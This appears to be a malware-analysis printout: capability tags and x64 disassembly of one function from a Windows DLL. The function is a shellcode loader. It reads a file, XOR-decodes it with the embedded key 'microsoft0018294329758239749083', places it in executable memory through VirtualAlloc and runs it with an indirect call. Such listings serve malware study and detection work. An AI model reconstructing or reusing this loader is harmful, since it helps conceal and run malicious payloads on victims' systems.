Function at 0x180001ea0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
lea rcx, [rbp - 0x80]
call fcn.180003320
nop
mov rcx, qword [rbp - 0x80]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax - 0x70], 6
je 0x180001f06
call fcn.180004250
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.1800040f0
movzx edx, al
mov rcx, rbx
call fcn.180004ff0
mov rcx, rbx
call fcn.180004ec0
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x30], 0
mov word [rsp + 0x38], 1
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x60], xmm0
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax - 0x38]
mov qword [rsp + 0x30], rcx
test rcx, rcx
sete byte [rsp + 0x38]
mov byte [rsp + 0x39], 0
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.180004530
nop
lea rcx, [rbp - 0x70]
call fcn.180003ce0
test rax, rax
jne 0x180001f9a
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x38], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x70]
and eax, 0x17
mov dword [rbp + rcx - 0x70], eax
and eax, dword [rbp + rcx - 0x6c]
jne 0x180002197
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov ecx, 0x20
call fcn.180006504
mov r14, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 0x1f
mov qword [rsp + 0x78], 0x1f
movups xmm0, xmmword [str.microsoft0018294329758239749083]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x18002e3e8]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x18002e3f0]
mov dword [r14 + 0x18], eax
movzx eax, word [0x18002e3f4]
mov word [r14 + 0x1c], ax
movzx eax, byte [0x18002e3f6]
mov byte [r14 + 0x1e], al
mov byte [r14 + 0x1f], 0
xor r8d, r8d
mov rcx, qword [rsp + 0x48]
mov r9, qword [rsp + 0x40]
cmp rcx, r9
je 0x180002061
movabs r10, 0x842108421084211
nop
mov rax, r10
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1f
mov rcx, r8
sub rcx, rax
movzx eax, byte [rcx + r14]
xor byte [r9 + r8], al
inc r8
mov rcx, qword [rsp + 0x48]
mov rax, rcx
mov r9, qword [rsp + 0x40]
sub rax, r9
cmp r8, rax
jb 0x180002020
sub rcx, r9
call fcn.180006540
mov rsi, rax
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
sub r8, rdx
mov rcx, rax
call fcn.1800217c0
mov rdi, qword [rsp + 0x48]
sub rdi, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.1800217c0
call rbx
nop
mov edx, 0x20
mov rcx, r14
call fcn.1800064fc
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x180002112
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800020fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002191
call fcn.1800064fc
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x70]
call fcn.180003060
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x7c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x30]
call fcn.180005c84
nop
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.18000edb0
nop
test al, 4
je 0x1800021a4
lea rbx, str.ios_base::badbit_set
jmp 0x1800021b8
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.1800013b0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x90]
call fcn.180001c60
lea rdx, [0x1800322e0]
lea rcx, [rbp + 0x90]
call fcn.180008360
int3